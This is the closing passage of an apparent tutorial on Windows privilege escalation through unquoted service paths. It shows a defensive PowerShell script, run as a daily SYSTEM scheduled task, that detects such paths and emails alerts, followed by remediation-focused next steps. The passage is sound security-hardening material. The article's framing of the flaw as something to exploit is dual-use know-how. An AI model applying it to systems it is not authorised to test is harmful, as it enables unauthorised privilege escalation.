                      -DisplayName "My Application Service" `
                      -ExecutablePath "C:\Program Files\My Company\My App\service.exe"

Continuous Monitoring

Implement ongoing monitoring for new vulnerable services:

# Create monitoring script
$script = @'
$smtpServer = "smtp.company.com"
$from = "[email protected]"
$to = "[email protected]"

$vulnerable = Get-CimInstance -ClassName win32_service |
    Where-Object {
        $_.PathName -notmatch '^"' -and
        $_.PathName -match '\s'
    } | Select-Object Name, PathName, StartName, State

if ($vulnerable.Count -gt 0) {
    $body = $vulnerable | ConvertTo-Html -Head "<style>table {border-collapse: collapse;} th, td {border: 1px solid black; padding: 8px;}</style>" | Out-String

    Send-MailMessage -SmtpServer $smtpServer `
                     -From $from `
                     -To $to `
                     -Subject "ALERT: Unquoted Service Paths Detected on $env:COMPUTERNAME" `
                     -Body $body `
                     -BodyAsHtml
}
'@

# Deploy via scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ExecutionPolicy Bypass -Command `"$script`""
$trigger = New-ScheduledTaskTrigger -Daily -At 3am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "UnquotedServiceMonitor" `
                       -Action $action `
                       -Trigger $trigger `
                       -Principal $principal `
                       -Description "Monitors for unquoted service paths and alerts security team"

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Security Resources

Next Steps

After exploiting unquoted service paths:

  • Document all vulnerable services found during assessment
  • Prioritize remediation based on service privileges and accessibility
  • Implement automated scanning to detect new vulnerable services
  • Review deployment procedures to prevent future misconfigurations
  • Explore related Windows privilege escalation techniques:

Takeaway: Unquoted service path vulnerabilities remain surprisingly common in enterprise environments despite being well-documented. The combination of regular automated scanning, secure deployment practices, file system permission hardening, and continuous monitoring provides effective defense against this privilege escalation vector. Make service path security a mandatory component of your Windows deployment and change management processes.

Last updated on

Windows Privilege Escalation via Unquoted Service Path | Drake Axelrod